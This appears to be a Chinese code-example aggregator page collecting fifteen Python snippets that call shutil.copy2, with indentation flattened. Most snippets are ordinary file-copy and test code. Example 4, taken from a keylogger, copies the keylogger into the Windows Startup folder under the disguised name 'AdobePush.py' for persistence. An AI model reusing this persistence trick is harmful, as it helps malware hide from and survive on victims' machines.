本文整理匯總了Python中shutil.copy2方法的典型用法代碼示例。如果您正苦於以下問題:Python shutil.copy2方法的具體用法?Python shutil.copy2怎麽用?Python shutil.copy2使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在類shutil
的用法示例。
在下文中一共展示了shutil.copy2方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: SyncShadowHash
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def SyncShadowHash(username, shadow_name):
"""Sync the password hash for the shadow admin account with the user's."""
shadow_guid = UserAttribute(shadow_name, 'GeneratedUID')
user_hash = '/var/db/shadow/hash/%s' % username
if not os.path.exists(user_hash):
user_guid = UserAttribute(username, 'GeneratedUID')[0]
user_hash = '/var/db/shadow/hash/%s' % user_guid
shadow_hash = '/var/db/shadow/hash/%s' % shadow_guid[0]
try:
if (os.path.exists(shadow_hash)
and os.path.isfile(shadow_hash)
and filecmp.cmp(user_hash, shadow_hash, shallow=False)):
# everything is as should be
pass
else:
shutil.copy2(user_hash, shadow_hash)
except (IOError, OSError), err:
raise DSException('Error creating the shadow admin hash for '
'%s-admin: %s' % (username, err))
示例2: test_copy_recurse_overwrite
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def test_copy_recurse_overwrite():
# Check that copy_recurse won't overwrite pre-existing libs
with InTemporaryDirectory():
# Get some fixed up libraries to play with
os.makedirs('libcopy')
test_lib, liba, libb, libc = _copy_fixpath(
[TEST_LIB, LIBA, LIBB, LIBC], 'libcopy')
# Filter system libs
def filt_func(libname):
return not libname.startswith('/usr/lib')
os.makedirs('subtree')
# libb depends on liba
shutil.copy2(libb, 'subtree')
# If liba is already present, barf
shutil.copy2(liba, 'subtree')
assert_raises(DelocationError, copy_recurse, 'subtree', filt_func)
# Works if liba not present
os.unlink(pjoin('subtree', 'liba.dylib'))
copy_recurse('subtree', filt_func)
示例3: moveDictFiles
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def moveDictFiles(myDict,folderName):
""" This Script copies the OB.csv files to the makeSimilar_Template folder
"""
originalFileNames = list()
copiedFileNames = list()
for k, v in myDict.iteritems():
if type(v) is dict:
tmpOrigList, tmpCopiedList = moveDictFiles(v,folderName)
if not tmpOrigList == list():
originalFileNames.append(tmpOrigList)
copiedFileNames.append(tmpCopiedList)
else:
try:
if os.path.isfile(v):#Is a file that is located locally
fname = 'auto_' + folderName + v
shutil.copy2('./' + v,'./' + folderName + '/' + fname) #Here we copy the file to the run directory
originalFileNames.append(v)
copiedFileNames.append(fname)
except:
pass
return originalFileNames, copiedFileNames
示例4: copytostartup
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def copytostartup():
try:
#-----------------------
originalfilename = "Radiumkeylogger.py" #This name should be equal to the name of exe/py that you create. Currently the name of this file is Radiumkeylogger.py
#-----------------------
#-----------------------
coppiedfilename = 'AdobePush.py' #The file will be copied to startup folder by this name
#-----------------------
copytodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
copyfromdir = currentdir + "\\" + originalfilename
filesindir = os.listdir(copytodir)
if coppiedfilename not in filesindir:
try:
shutil.copy2(copyfromdir, copytodir + coppiedfilename)
except Exception as e:
print e
except Exception as e:
print e
return True
#Function to list directories content upto 3 level
示例5: get_torrent2http_binary
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def get_torrent2http_binary():
binary = "torrent2http%s" % (PLATFORM["os"] == "windows" and ".exe" or "")
binary_dir = get_binary_dir()
binary_path = os.path.join(binary_dir, binary)
platform = PLATFORM.copy()
if platform["os"] == "darwin": # 64 bits anyway on Darwin
platform["arch"] = "x64"
elif platform["os"] == "windows": # 32 bits anyway on Windows
platform["arch"] = "x86"
default_binary_dir = os.path.join(RESOURCES_PATH, "bin", "%(os)s_%(arch)s" % platform)
default_binary_path = os.path.join(default_binary_dir, binary)
# On Android, we need to copy torrent2http to ext4, since the sdcard is noexec
platform = PLATFORM.copy()
if platform["os"] == "android":
android_binary_dir = get_binary_dir()
android_binary_path = os.path.join(android_binary_dir, binary)
if not os.path.exists(android_binary_path) or os.path.getsize(android_binary_path) != os.path.getsize(default_binary_path):
import shutil
shutil.copy2(default_binary_path, android_binary_path)
binary_path = android_binary_path
binary_dir = android_binary_dir
return binary_dir, ensure_exec_perms(binary_path)
示例6: keepJsonFilesWhenUpdate
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def keepJsonFilesWhenUpdate(self, currentDir, tempUpdateDir, *args):
""" Check in given folder if we have custom json files and keep then when we install a new update.
It will just check if there are user created json files, and copy them to temporary extracted update folder.
So when the install overwrite all files, they will be copied (restored) again.
"""
newUpdateList = []
# list all new json files:
for newRoot, newDirectories, newFiles in os.walk(tempUpdateDir):
for newItem in newFiles:
if newItem.endswith('.json'):
newUpdateList.append(newItem)
# check if some current json file is a custom file created by user to copy it to new update directory in order to avoid overwrite it:
for currentRoot, currentDirectories, currentFiles in os.walk(currentDir):
for currentItem in currentFiles:
if currentItem.endswith('.json'):
if not currentItem in newUpdateList:
# found custom file, then copy it to keep when install the new update
shutil.copy2(os.path.join(currentRoot, currentItem), tempUpdateDir)
示例7: copytree
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def copytree(src, dst, symlinks=False, ignore=shutil.ignore_patterns('.*', '_*')):
"""
Copy Entire Folder
:param src: source path
:param dst: destination path
:param symlinks: optional
:param ignore: pass shutil.ignore_patterns('.*', '_*')
:return:
"""
for item in os.listdir(src):
s = os.path.join(src, item)
d = os.path.join(dst, item)
if os.path.isdir(s):
shutil.copytree(s, d, symlinks, ignore)
else:
shutil.copy2(s, d)
示例8: pypi
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def pypi(self, tmpdir):
conf = Configuration()
path = str(tmpdir)
src = Path(__file__).parent / "src/rlsbot-test"
shutil.copy2(str(src / "setup.py"), path)
shutil.copy2(str(src / "rlsbot_test.py"), path)
self.run_cmd("git init .", work_directory=str(tmpdir))
set_git_credentials(str(tmpdir), "Release Bot", "bot@example.com")
self.run_cmd("git add .", work_directory=str(tmpdir))
self.run_cmd("git commit -m 'initial commit'", work_directory=str(tmpdir))
git_repo = Git(str(tmpdir), conf)
pypi = PyPi(configuration, git_repo)
(flexmock(pypi)
.should_receive("upload")
.replace_with(lambda x: None))
return pypi
示例9: createuser
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def createuser(fn, ln, user, group, homedir):
# Create backups
ts = strftime("%Y.%m.%d %H:%M:%S")
shutil.copy2(pasfile, pasfile + "." + ts)
shutil.copy2(shafile, shafile + "." + ts)
uid = getuid(user)
s = ' '.join(["useradd -c \"%s %s\" -m -d %s " % (fn, ln, homedir),
"-u %s -g %s %s 1> /dev/null 2>&1" % (uid, group, user)])
result = subprocess.call(s, shell=True)
# Failure?
if not result == 0:
print red + "Error in creating user %s" % user + end
os.remove(pasfile + "." + ts)
os.remove(shafile + "." + ts)
else: print green + "Created user %s" % user + end
return result
示例10: install_user_service
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def install_user_service(service_file, socket_file):
"""
Installs the service file and socket file into the xinetd
service directory, sets the service to start on boot, and
starts the service now.
Args:
service_file: The path to the systemd service file to install
socket_file: The path to the systemd socket file to install
"""
if service_file is None:
return
service_name = os.path.basename(service_file)
logger.debug("...Installing user service '%s'.", service_name)
# copy service file
service_path = os.path.join(XINETD_SERVICE_PATH, service_name)
shutil.copy2(service_file, service_path)
示例11: tmp_demo_apk_v10_rebuild_path
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def tmp_demo_apk_v10_rebuild_path(tmp_path) -> str:
"""
Return a path to a valid demo apk file generated with Apktool (different path for
each test, but the apk file is the same). This can be useful to test signing and
aligning.
"""
source = (
Path(__file__)
.resolve()
.parent.joinpath(
"test_resources", "v1.0", "com.obfuscapk.demo.v1.0-rebuild.apk"
)
)
destination = tmp_path.joinpath("com.obfuscapk.demo.v1.0-rebuild.apk")
destination = shutil.copy2(source, destination)
return str(destination)
示例12: refilemessages
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def refilemessages(self, list, tofolder, keepsequences=0):
"""Refile one or more messages -- may raise os.error.
'tofolder' is an open folder object."""
errors = []
refiled = {}
for n in list:
ton = tofolder.getlast() + 1
path = self.getmessagefilename(n)
topath = tofolder.getmessagefilename(ton)
try:
os.rename(path, topath)
except os.error:
# Try copying
try:
shutil.copy2(path, topath)
os.unlink(path)
except (IOError, os.error), msg:
errors.append(msg)
try:
os.unlink(topath)
except os.error:
pass
continue
tofolder.setlast(ton)
refiled[n] = ton
示例13: copymessage
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def copymessage(self, n, tofolder, ton):
"""Copy one message over a specific destination message,
which may or may not already exist."""
path = self.getmessagefilename(n)
# Open it to check that it exists
f = open(path)
f.close()
del f
topath = tofolder.getmessagefilename(ton)
backuptopath = tofolder.getmessagefilename(',%d' % ton)
try:
os.rename(topath, backuptopath)
except os.error:
pass
ok = 0
try:
tofolder.setlast(None)
shutil.copy2(path, topath)
ok = 1
finally:
if not ok:
try:
os.unlink(topath)
except os.error:
pass
示例14: test_dont_reconvert_old_files_test
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def test_dont_reconvert_old_files_test(self):
converter = Converter()
os.chdir(os.path.join(self.converter_tests_resource_path, "dont_reconvert_old_files_test"))
converter.input_dir = "Assets"
converter.output_dir = self.converter_output_tests_resource_path
converter.convert()
sha1_of_generated_files = []
sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png")))
sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png")))
shutil.copy2(os.path.join(converter.input_dir, "test-01.eps"), os.path.join(converter.input_dir, "test-02.eps"))
converter.convert()
sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png")))
sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png")))
self.assertEqual(sha1_of_generated_files[0], sha1_of_generated_files[2])
self.assertNotEqual(sha1_of_generated_files[1], sha1_of_generated_files[3])
示例15: _copy_fixpath
# 需要導入模塊: import shutil [as 別名]
# 或者: from shutil import copy2 [as 別名]
def _copy_fixpath(files, directory):
new_fnames = []
for fname in files:
shutil.copy2(fname, directory)
new_fname = pjoin(directory, basename(fname))
for name in get_install_names(fname):
if name.startswith('lib'):
set_install_name(new_fname, name, pjoin(directory, name))
new_fnames.append(new_fname)
return new_fnames